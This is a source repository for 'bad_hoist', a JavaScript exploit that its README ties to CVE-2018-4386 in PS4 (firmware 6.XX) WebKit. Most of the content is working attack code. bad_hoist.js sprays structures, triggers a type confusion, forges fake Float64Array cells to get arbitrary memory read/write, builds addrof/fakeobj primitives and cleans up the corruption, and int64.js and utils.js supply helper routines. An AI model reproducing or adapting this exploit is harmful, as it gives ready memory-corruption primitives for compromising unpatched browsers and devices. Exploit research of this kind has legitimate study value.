├── html └── index.html ├── README.md └── js ├── utils.js ├── int64.js └── bad_hoist.js /html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

This is not an exploit (;

6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | bad_hoist 2 | ============ 3 | 4 | Exploit implementation of 5 | [CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665). 6 | Obtains addrof/fakeobj and arbitrary read/write primitives. 7 | 8 | Supports PS4 consoles on 6.XX. May also work on older firmware versions, 9 | but I am not sure. Bug was fixed in firmware 7.00. 10 | -------------------------------------------------------------------------------- /js/utils.js: -------------------------------------------------------------------------------- 1 | function debug_log(msg) { 2 | // var xhttp = new XMLHttpRequest(); 3 | // xhttp.open("POST", "/debug/log", false); 4 | // xhttp.setRequestHeader("Content-type", "text/html"); 5 | // xhttp.send(msg); 6 | cosole.log(msg); 7 | } 8 | 9 | // The following functions are taken from https://github.com/saelo/jscpwn/: 10 | // hex, hexlify, unhexlify, hexdump 11 | // Copyright (c) 2016 Samuel Groß 12 | 13 | // Return the hexadecimal representation of the given byte. 14 | function hex(b) { 15 | return ('0' + b.toString(16)).substr(-2); 16 | } 17 | 18 | // Return the hexadecimal representation of the given byte array. 19 | function hexlify(bytes) { 20 | var res = []; 21 | for (var i = 0; i < bytes.length; i++) 22 | res.push(hex(bytes[i])); 23 | 24 | return res.join(''); 25 | } 26 | 27 | // Return the binary data represented by the given hexdecimal string. 28 | function unhexlify(hexstr) { 29 | if (hexstr.length % 2 == 1) 30 | throw new TypeError("Invalid hex string"); 31 | 32 | var bytes = new Uint8Array(hexstr.length / 2); 33 | for (var i = 0; i < hexstr.length; i += 2) 34 | bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16); 35 | 36 | return bytes; 37 | } 38 | 39 | function hexdump(data) { 40 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 41 | data = Array.from(data); 42 | 43 | var lines = []; 44 | for (var i = 0; i < data.length; i += 16) { 45 | var chunk = data.slice(i, i + 16); 46 | var parts = chunk.map(hex); 47 | if (parts.length > 8) 48 | parts.splice(8, 0, ' '); 49 | lines.push(parts.join(' ')); 50 | } 51 | 52 | return lines.join('\n'); 53 | } 54 | -------------------------------------------------------------------------------- /js/int64.js: -------------------------------------------------------------------------------- 1 | // Taken from https://github.com/saelo/jscpwn/blob/master/int64.js 2 | // 3 | // Copyright (c) 2016 Samuel Groß 4 | 5 | function Int64(low, high) { 6 | var bytes = new Uint8Array(8); 7 | 8 | if (arguments.length > 2 || arguments.length == 0) 9 | throw TypeError("Incorrect number of arguments to constructor"); 10 | if (arguments.length == 2) { 11 | if (typeof low != 'number' || typeof high != 'number') { 12 | throw TypeError("Both arguments must be numbers"); 13 | } 14 | if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) { 15 | throw RangeError("Both arguments must fit inside a uint32"); 16 | } 17 | bytes.set(Struct.pack(Struct.int64, low, high)); 18 | } 19 | 20 | switch (typeof low) { 21 | case 'number': 22 | low = '0x' + Math.floor(low).toString(16); 23 | case 'string': 24 | if (low.substr(0, 2) === "0x") 25 | low = low.substr(2); 26 | if (low.length % 2 == 1) 27 | low = '0' + low; 28 | var bigEndian = unhexlify(low, 8); 29 | var arr = []; 30 | for (var i = 0; i < bigEndian.length; i++) { 31 | arr[i] = bigEndian[i]; 32 | } 33 | bytes.set(arr.reverse()); 34 | break; 35 | case 'object': 36 | if (low instanceof Int64) { 37 | bytes.set(low.bytes()); 38 | } else { 39 | if (low.length != 8) 40 | throw TypeError("Array must have excactly 8 elements."); 41 | bytes.set(low); 42 | } 43 | break; 44 | case 'undefined': 45 | break; 46 | } 47 | 48 | // Return a double whith the same underlying bit representation. 49 | this.asDouble = function () { 50 | // Check for NaN 51 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 52 | throw new RangeError("Can not be represented by a double"); 53 | 54 | return Struct.unpack(Struct.float64, bytes); 55 | }; 56 | 57 | this.asInteger = function () { 58 | if (bytes[7] != 0 || bytes[6] > 0x20) { 59 | debug_log("SOMETHING BAD HAS HAPPENED!!!"); 60 | throw new RangeError( 61 | "Can not be represented as a regular number"); 62 | } 63 | return Struct.unpack(Struct.int64, bytes); 64 | }; 65 | 66 | // Return a javascript value with the same underlying bit representation. 67 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 68 | // due to double conversion constraints. 69 | this.asJSValue = function () { 70 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[ 71 | 6] == 0xff)) 72 | throw new RangeError( 73 | "Can not be represented by a JSValue"); 74 | 75 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 76 | return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes()); 77 | }; 78 | 79 | // Return the underlying bytes of this number as array. 80 | this.bytes = function () { 81 | var arr = []; 82 | for (var i = 0; i < bytes.length; i++) { 83 | arr.push(bytes[i]) 84 | } 85 | return arr; 86 | }; 87 | 88 | // Return the byte at the given index. 89 | this.byteAt = function (i) { 90 | return bytes[i]; 91 | }; 92 | 93 | // Return the value of this number as unsigned hex string. 94 | this.toString = function () { 95 | var arr = []; 96 | for (var i = 0; i < bytes.length; i++) { 97 | arr.push(bytes[i]) 98 | } 99 | return '0x' + hexlify(arr.reverse()); 100 | }; 101 | 102 | this.low32 = function () { 103 | return new Uint32Array(bytes.buffer)[0] >>> 0; 104 | }; 105 | 106 | this.hi32 = function () { 107 | return new Uint32Array(bytes.buffer)[1] >>> 0; 108 | }; 109 | 110 | this.equals = function (other) { 111 | if (!(other instanceof Int64)) { 112 | other = new Int64(other); 113 | } 114 | for (var i = 0; i < 8; i++) { 115 | if (bytes[i] != other.byteAt(i)) 116 | return false; 117 | } 118 | return true; 119 | }; 120 | // Basic arithmetic. 121 | // These functions assign the result of the computation to their 'this' object. 122 | 123 | // Decorator for Int64 instance operations. Takes care 124 | // of converting arguments to Int64 instances if required. 125 | function operation(f, nargs) { 126 | return function () { 127 | if (arguments.length != nargs) 128 | throw Error("Not enough arguments for function " + f.name); 129 | var new_args = []; 130 | for (var i = 0; i < arguments.length; i++) { 131 | if (!(arguments[i] instanceof Int64)) { 132 | new_args[i] = new Int64(arguments[i]); 133 | } else { 134 | new_args[i] = arguments[i]; 135 | } 136 | } 137 | return f.apply(this, new_args); 138 | }; 139 | } 140 | 141 | this.neg = operation(function neg() { 142 | var ret = []; 143 | for (var i = 0; i < 8; i++) 144 | ret[i] = ~this.byteAt(i); 145 | return new Int64(ret).add(Int64.One); 146 | }, 0); 147 | 148 | this.add = operation(function add(a) { 149 | var ret = []; 150 | var carry = 0; 151 | for (var i = 0; i < 8; i++) { 152 | var cur = this.byteAt(i) + a.byteAt(i) + carry; 153 | carry = cur > 0xff | 0; 154 | ret[i] = cur; 155 | } 156 | return new Int64(ret); 157 | }, 1); 158 | 159 | this.assignAdd = operation(function assignAdd(a) { 160 | var carry = 0; 161 | for (var i = 0; i < 8; i++) { 162 | var cur = this.byteAt(i) + a.byteAt(i) + carry; 163 | carry = cur > 0xff | 0; 164 | bytes[i] = cur; 165 | } 166 | return this; 167 | }, 1); 168 | 169 | 170 | this.sub = operation(function sub(a) { 171 | var ret = []; 172 | var carry = 0; 173 | for (var i = 0; i < 8; i++) { 174 | var cur = this.byteAt(i) - a.byteAt(i) - carry; 175 | carry = cur < 0 | 0; 176 | ret[i] = cur; 177 | } 178 | return new Int64(ret); 179 | }, 1); 180 | } 181 | 182 | // Constructs a new Int64 instance with the same bit representation as the provided double. 183 | Int64.fromDouble = function (d) { 184 | var bytes = Struct.pack(Struct.float64, d); 185 | return new Int64(bytes); 186 | }; 187 | 188 | // Some commonly used numbers. 189 | Int64.Zero = new Int64(0); 190 | Int64.One = new Int64(1); 191 | Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff); 192 | -------------------------------------------------------------------------------- /js/bad_hoist.js: -------------------------------------------------------------------------------- 1 | var STRUCTURE_SPRAY_SIZE = 0x1800; 2 | 3 | var g_confuse_obj = null; 4 | var g_arb_master = null; 5 | var g_arb_slave = new Uint8Array(0x2000); 6 | var g_leaker = {}; 7 | var g_leaker_addr = null; 8 | var g_structure_spray = []; 9 | 10 | var dub = new Int64(0x41414141, 0x41414141).asDouble(); 11 | var g_inline_obj = { 12 | a: dub, 13 | b: dub, 14 | }; 15 | 16 | function spray_structs() { 17 | for (var i = 0; i < STRUCTURE_SPRAY_SIZE; i++) { 18 | var a = new Uint32Array(0x1) 19 | a["p" + i] = 0x1337; 20 | g_structure_spray.push(a); // keep the Structure objects alive. 21 | } 22 | 23 | } 24 | 25 | function trigger() { 26 | 27 | var o = { 28 | 'a': 1 29 | }; 30 | 31 | var test = new ArrayBuffer(0x100000); 32 | g_confuse_obj = {}; 33 | 34 | var cell = { 35 | js_cell_header: new Int64([ 36 | 0x00, 0x8, 0x00, 0x00, // m_structureID, current guess 37 | 0x0, // m_indexingType 38 | 0x27, // m_type, Float64Array 39 | 0x18, // m_flags, OverridesGetOwnPropertySlot | 40 | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero 41 | 0x1 // m_cellState, NewWhite 42 | ]).asJSValue(), 43 | butterfly: false, // Some arbitrary value 44 | vector: g_inline_obj, 45 | len_and_flags: (new Int64('0x0001000100000020')).asJSValue() 46 | }; 47 | 48 | g_confuse_obj[0 + "a"] = cell; 49 | 50 | g_confuse_obj[1 + "a"] = {}; 51 | g_confuse_obj[1 + "b"] = {}; 52 | g_confuse_obj[1 + "c"] = {}; 53 | g_confuse_obj[1 + "d"] = {}; 54 | 55 | 56 | for (var j = 0x5; j < 0x20; j++) { 57 | g_confuse_obj[j + "a"] = new Uint32Array(test); 58 | } 59 | 60 | for (var k in o) { 61 | { 62 | k = { 63 | a: g_confuse_obj, 64 | b: new ArrayBuffer(test.buffer), 65 | c: new ArrayBuffer(test.buffer), 66 | d: new ArrayBuffer(test.buffer), 67 | e: new ArrayBuffer(test.buffer), 68 | 1: new ArrayBuffer(test.buffer), 69 | 70 | }; 71 | 72 | function k() { 73 | return k; 74 | } 75 | 76 | } 77 | 78 | o[k]; 79 | 80 | if (g_confuse_obj["0a"] instanceof Uint32Array) { 81 | return; 82 | } 83 | } 84 | } 85 | 86 | function setup_arb_rw() { 87 | var jsCellHeader = new Int64([ 88 | 0x00, 0x08, 0x00, 0x00, // m_structureID, current guess 89 | 0x0, // m_indexingType 90 | 0x27, // m_type, Float64Array 91 | 0x18, // m_flags, OverridesGetOwnPropertySlot | 92 | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero 93 | 0x1 // m_cellState, NewWhite 94 | ]); 95 | g_fake_container = { 96 | jsCellHeader: jsCellHeader.asJSValue(), 97 | butterfly: false, // Some arbitrary value 98 | vector: g_arb_slave, 99 | lengthAndFlags: (new Int64('0x0001000000000020')).asJSValue() 100 | }; 101 | 102 | g_inline_obj.a = g_fake_container; 103 | g_confuse_obj["0a"][0x4] += 0x10; 104 | g_arb_master = g_inline_obj.a; 105 | g_arb_master[0x6] = 0xFFFFFFF0; 106 | } 107 | 108 | function read(addr, length) { 109 | if (!(addr instanceof Int64)) 110 | addr = new Int64(addr); 111 | 112 | g_arb_master[4] = addr.low32(); 113 | g_arb_master[5] = addr.hi32(); 114 | 115 | var a = new Array(length); 116 | 117 | for (var i = 0; i < length; i++) 118 | a[i] = g_arb_slave[i]; 119 | return a; 120 | } 121 | 122 | function read8(addr) { 123 | return read(addr, 1)[0]; 124 | } 125 | 126 | function read16(addr) { 127 | return Struct.unpack(Struct.int16, read(addr, 2)); 128 | } 129 | 130 | function read32(addr) { 131 | return Struct.unpack(Struct.int32, read(addr, 4)); 132 | } 133 | 134 | function read64(addr) { 135 | return new Int64(read(addr, 8)); 136 | } 137 | 138 | function readstr(addr) { 139 | if (!(addr instanceof Int64)) 140 | addr = new Int64(addr); 141 | g_arb_master[4] = addr.low32(); 142 | g_arb_master[5] = addr.hi32(); 143 | var a = []; 144 | for (var i = 0;; i++) { 145 | if (g_arb_slave[i] == 0) { 146 | break; 147 | } 148 | a[i] = g_arb_slave[i]; 149 | } 150 | return String.fromCharCode.apply(null, a); 151 | } 152 | 153 | function write(addr, data) { 154 | if (!(addr instanceof Int64)) 155 | addr = new Int64(addr); 156 | g_arb_master[4] = addr.low32(); 157 | g_arb_master[5] = addr.hi32(); 158 | for (var i = 0; i < data.length; i++) 159 | g_arb_slave[i] = data[i]; 160 | } 161 | 162 | function write8(addr, val) { 163 | write(addr, [val]); 164 | } 165 | 166 | function write16(addr, val) { 167 | write(addr, Struct.pack(Struct.int16, val)); 168 | } 169 | 170 | 171 | function write32(addr, val) { 172 | write(addr, Struct.pack(Struct.int32, val)); 173 | } 174 | 175 | function write64(addr, val) { 176 | if (!(val instanceof Int64)) 177 | val = new Int64(val); 178 | write(addr, val.bytes()); 179 | } 180 | 181 | function writestr(addr, str) { 182 | if (!(addr instanceof Int64)) 183 | addr = new Int64(addr); 184 | g_arb_master[4] = addr.low32(); 185 | g_arb_master[5] = addr.hi32(); 186 | for (var i = 0; i < str.length; i++) 187 | g_arb_slave[i] = str.charCodeAt(i); 188 | g_arb_slave[str.length] = 0; // null character 189 | } 190 | 191 | 192 | function setup_obj_leaks() { 193 | g_leaker.leak = false; 194 | g_inline_obj.a = g_leaker; 195 | g_leaker_addr = new Int64(g_confuse_obj["0a"][4], g_confuse_obj["0a"][5]).add(0x10); 196 | debug_log("obj_leaker address @ " + g_leaker_addr); 197 | } 198 | 199 | function addrof(obj) { 200 | g_leaker.leak = obj; 201 | return read64(g_leaker_addr); 202 | } 203 | 204 | function fakeobj(addr) { 205 | write64(g_leaker_addr, addr); 206 | return g_leaker.leak; 207 | } 208 | 209 | function typed_array_buf_addr(typed_array) { 210 | return read64(addrof(typed_array).add(0x10)); 211 | } 212 | 213 | function cleanup() { 214 | var u32array = new Uint32Array(8); 215 | header = read(addrof(u32array), 0x10); 216 | write(addrof(g_arb_master), header); 217 | write(addrof(g_confuse_obj['0a']), header); 218 | 219 | // Set length to 0x10 and flags to 0x1 220 | // Will behave as OversizeTypedArray which can survive gc easily 221 | write32(addrof(g_arb_master).add(0x18), 0x10); 222 | write32(addrof(g_arb_master).add(0x1C), 0x1); // 223 | write32(addrof(g_confuse_obj['0a']).add(0x18), 0x10); 224 | write32(addrof(g_confuse_obj['0a']).add(0x1C), 0x1); 225 | write32(addrof(g_arb_slave).add(0x1C), 0x1); 226 | 227 | var empty = {}; 228 | header = read(addrof(empty), 0x8); 229 | write(addrof(g_fake_container), header); 230 | } 231 | 232 | function start_exploit() { 233 | debug_log("Spraying Structures..."); 234 | spray_structs(); 235 | debug_log("Structures sprayed!"); 236 | debug_log("Triggering bug..."); 237 | trigger(); 238 | debug_log("Bug successfully triggered!"); 239 | debug_log("Crafting fake array for arbitrary read and write..."); 240 | setup_arb_rw(); 241 | debug_log("Array crafted!"); 242 | debug_log("Setting up arbitrary object leaks..."); 243 | setup_obj_leaks(); 244 | debug_log("Arbitrary object leaks achieved!"); 245 | debug_log("Cleaning up corrupted structures..."); 246 | cleanup(); 247 | debug_log("Cleanup done!"); 248 | debug_log("Starting post exploitation..."); 249 | } 250 | 251 | start_exploit(); 252 | --------------------------------------------------------------------------------